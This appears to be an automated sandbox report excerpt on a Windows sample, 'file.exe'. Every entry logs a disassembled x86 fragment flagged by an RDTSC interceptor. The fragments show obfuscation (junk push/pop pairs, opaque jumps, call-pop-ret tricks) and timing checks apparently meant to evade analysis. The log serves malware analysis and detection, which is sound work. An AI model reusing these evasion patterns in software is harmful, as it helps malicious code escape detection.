Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709BE0 second address: 709BE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709BE4 second address: 709BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709BED second address: 709BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F4FE48681C6h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709BF8 second address: 709C17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F4FE44F82B6h 0x00000009 jmp 00007F4FE44F82BEh 0x0000000e jnp 00007F4FE44F82B6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711024 second address: 711116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 nop 0x00000007 jp 00007F4FE48681CDh 0x0000000d jmp 00007F4FE48681CDh 0x00000012 push dword ptr fs:[00000000h] 0x00000019 stc 0x0000001a mov dword ptr fs:[00000000h], esp 0x00000021 push 00000000h 0x00000023 push eax 0x00000024 call 00007F4FE48681C8h 0x00000029 pop eax 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e add dword ptr [esp+04h], 0000001Ch 0x00000036 inc eax 0x00000037 push eax 0x00000038 ret 0x00000039 pop eax 0x0000003a ret 0x0000003b cld 0x0000003c lea eax, dword ptr [ebp+124744B6h] 0x00000042 jmp 00007F4FE48681D9h 0x00000047 mov dword ptr [eax+01h], esp 0x0000004a jmp 00007F4FE48681CEh 0x0000004f lea eax, dword ptr [ebp+124744DEh] 0x00000055 jmp 00007F4FE48681D5h 0x0000005a mov dword ptr [eax+01h], ebp 0x0000005d jne 00007F4FE48681D4h 0x00000063 mov byte ptr [ebp+122D1B2Fh], 0000004Fh 0x0000006a pushad 0x0000006b mov esi, eax 0x0000006d pushad 0x0000006e jng 00007F4FE48681C6h 0x00000074 call 00007F4FE48681D7h 0x00000079 pop edx 0x0000007a popad 0x0000007b popad 0x0000007c cld 0x0000007d push AD12F129h 0x00000082 push eax 0x00000083 push edx 0x00000084 jc 00007F4FE48681C8h 0x0000008a pushad 0x0000008b popad 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711116 second address: 71112E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4FE44F82C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 710157 second address: 710179 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F4FE48681C6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jno 00007F4FE48681C6h 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a jng 00007F4FE48681CCh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711225 second address: 711229 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711229 second address: 711247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c push eax 0x0000000d jmp 00007F4FE48681CCh 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711247 second address: 71125E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F4FE44F82BCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71125E second address: 711265 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716258 second address: 716268 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F4FE44F82B6h 0x0000000a jp 00007F4FE44F82B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71593D second address: 71594C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4FE48681C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71594C second address: 715980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F4FE44F82D1h 0x0000000e jmp 00007F4FE44F82C9h 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007F4FE44F82BBh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715980 second address: 715985 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715985 second address: 71598B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715AEA second address: 715AEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715F3B second address: 715F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4FE44F82C8h 0x00000009 popad 0x0000000a push edi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715F5C second address: 715F64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7181DC second address: 7181E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A032 second address: 71A037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A037 second address: 71A03D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A03D second address: 71A041 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A66D second address: 71A677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A677 second address: 71A67E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A67E second address: 71A688 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F4FE44F82B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A74A second address: 71A754 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4FE48681C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A754 second address: 71A777 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4FE44F82BDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A777 second address: 71A77C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71AE50 second address: 71AE56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B2B2 second address: 71B307 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F4FE48681D3h 0x0000000c nop 0x0000000d xor esi, 1734C8E6h 0x00000013 jmp 00007F4FE48681D6h 0x00000018 xchg eax, ebx 0x00000019 jmp 00007F4FE48681D0h 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jnp 00007F4FE48681C6h 0x00000028 push edx 0x00000029 pop edx 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B307 second address: 71B311 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F4FE44F82B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B815 second address: 71B820 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4FE48681C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B820 second address: 71B827 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B827 second address: 71B88F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F4FE48681D7h 0x0000000d nop 0x0000000e cld 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 mov dword ptr [ebp+12447077h], esi 0x00000018 pop edi 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e call 00007F4FE48681C8h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], edx 0x00000028 add dword ptr [esp+04h], 00000019h 0x00000030 inc edx 0x00000031 push edx 0x00000032 ret 0x00000033 pop edx 0x00000034 ret 0x00000035 xchg eax, ebx 0x00000036 jne 00007F4FE48681D4h 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71BFDD second address: 71C00D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4FE44F82C5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C8DC second address: 71C902 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4FE48681C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4FE48681CEh 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jne 00007F4FE48681C6h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71C00D second address: 71C028 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4FE44F82C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D115 second address: 71D1C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE48681D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F4FE48681D4h 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F4FE48681C8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007F4FE48681C8h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 00000014h 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 jmp 00007F4FE48681D0h 0x0000004b jmp 00007F4FE48681CFh 0x00000050 push 00000000h 0x00000052 push 00000000h 0x00000054 push ebx 0x00000055 call 00007F4FE48681C8h 0x0000005a pop ebx 0x0000005b mov dword ptr [esp+04h], ebx 0x0000005f add dword ptr [esp+04h], 00000015h 0x00000067 inc ebx 0x00000068 push ebx 0x00000069 ret 0x0000006a pop ebx 0x0000006b ret 0x0000006c push eax 0x0000006d pushad 0x0000006e pushad 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D1C0 second address: 71D1CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F4FE44F82B6h 0x0000000a popad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71ED13 second address: 71ED19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71ED19 second address: 71ED29 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jl 00007F4FE44F82B6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71ED29 second address: 71ED31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE451 second address: 6DE457 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE457 second address: 6DE461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE461 second address: 6DE465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71F334 second address: 71F351 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F4FE48681C6h 0x00000009 jns 00007F4FE48681C6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jg 00007F4FE48681C8h 0x0000001b push edi 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71F351 second address: 71F35B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F4FE44F82B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71FD9F second address: 71FDA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71FDA4 second address: 71FE08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F4FE44F82B6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jg 00007F4FE44F82CCh 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F4FE44F82B8h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f push 00000000h 0x00000031 mov si, cx 0x00000034 push 00000000h 0x00000036 xor dword ptr [ebp+124516CFh], esi 0x0000003c xchg eax, ebx 0x0000003d pushad 0x0000003e pushad 0x0000003f push ebx 0x00000040 pop ebx 0x00000041 pushad 0x00000042 popad 0x00000043 popad 0x00000044 push eax 0x00000045 push edx 0x00000046 jnp 00007F4FE44F82B6h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72080B second address: 72085C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jbe 00007F4FE48681D2h 0x00000013 ja 00007F4FE48681CCh 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007F4FE48681C8h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 0000001Ah 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 push 00000000h 0x00000037 sub dword ptr [ebp+122D1EA7h], eax 0x0000003d push eax 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72085C second address: 720860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 720860 second address: 72086A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72154C second address: 721551 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721EEC second address: 721F7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 call 00007F4FE48681D5h 0x0000000e call 00007F4FE48681CFh 0x00000013 call 00007F4FE48681CCh 0x00000018 pop esi 0x00000019 pop edi 0x0000001a pop esi 0x0000001b push 00000000h 0x0000001d je 00007F4FE48681C8h 0x00000023 mov edi, esi 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push edx 0x0000002a call 00007F4FE48681C8h 0x0000002f pop edx 0x00000030 mov dword ptr [esp+04h], edx 0x00000034 add dword ptr [esp+04h], 0000001Bh 0x0000003c inc edx 0x0000003d push edx 0x0000003e ret 0x0000003f pop edx 0x00000040 ret 0x00000041 movsx esi, ax 0x00000044 xchg eax, ebx 0x00000045 jmp 00007F4FE48681D2h 0x0000004a push eax 0x0000004b jl 00007F4FE48681D4h 0x00000051 pushad 0x00000052 jnc 00007F4FE48681C6h 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723C65 second address: 723C87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F4FE44F82B6h 0x0000000a jmp 00007F4FE44F82C8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723C87 second address: 723C8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723C8B second address: 723C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72883D second address: 7288F3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4FE48681CCh 0x00000008 jnl 00007F4FE48681C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 pushad 0x00000014 clc 0x00000015 jmp 00007F4FE48681D8h 0x0000001a popad 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 call 00007F4FE48681C8h 0x00000025 pop edx 0x00000026 mov dword ptr [esp+04h], edx 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc edx 0x00000033 push edx 0x00000034 ret 0x00000035 pop edx 0x00000036 ret 0x00000037 jmp 00007F4FE48681D5h 0x0000003c mov ebx, dword ptr [ebp+122D2220h] 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push edx 0x00000047 call 00007F4FE48681C8h 0x0000004c pop edx 0x0000004d mov dword ptr [esp+04h], edx 0x00000051 add dword ptr [esp+04h], 00000016h 0x00000059 inc edx 0x0000005a push edx 0x0000005b ret 0x0000005c pop edx 0x0000005d ret 0x0000005e mov dword ptr [ebp+122D1B20h], edi 0x00000064 push eax 0x00000065 push eax 0x00000066 push edx 0x00000067 jg 00007F4FE48681DFh 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C7D4 second address: 72C7DA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C7DA second address: 72C7E4 instructions: 0x00000000 rdtsc 0x00000002 je 00007F4FE48681CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C7E4 second address: 72C845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F4FE44F82B8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 mov dword ptr [ebp+122D1F65h], ecx 0x00000029 push 00000000h 0x0000002b push esi 0x0000002c mov edi, esi 0x0000002e pop ebx 0x0000002f push 00000000h 0x00000031 and edi, dword ptr [ebp+122D3371h] 0x00000037 mov dword ptr [ebp+12477744h], edx 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 jp 00007F4FE44F82C7h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C845 second address: 72C84A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73099F second address: 730A13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4FE44F82BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F4FE44F82BFh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F4FE44F82B8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007F4FE44F82B8h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 00000019h 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 push 00000000h 0x00000048 sub dword ptr [ebp+122D25AEh], eax 0x0000004e xchg eax, esi 0x0000004f pushad 0x00000050 push eax 0x00000051 push edx 0x00000052 push edi 0x00000053 pop edi 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730A13 second address: 730A1D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730A1D second address: 730A21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730A21 second address: 730A25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 735156 second address: 7351C0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F4FE44F82B8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edx 0x00000012 call 00007F4FE44F82B8h 0x00000017 pop edx 0x00000018 mov dword ptr [esp+04h], edx 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc edx 0x00000025 push edx 0x00000026 ret 0x00000027 pop edx 0x00000028 ret 0x00000029 sub dword ptr [ebp+122D2210h], ecx 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007F4FE44F82B8h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 0000001Ah 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b mov edi, dword ptr [ebp+122D3481h] 0x00000051 push 00000000h 0x00000053 mov bl, F1h 0x00000055 xchg eax, esi 0x00000056 push edx 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7351C0 second address: 7351CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7351CD second address: 7351D7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4FE44F82B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727957 second address: 72795B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72795B second address: 72795F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
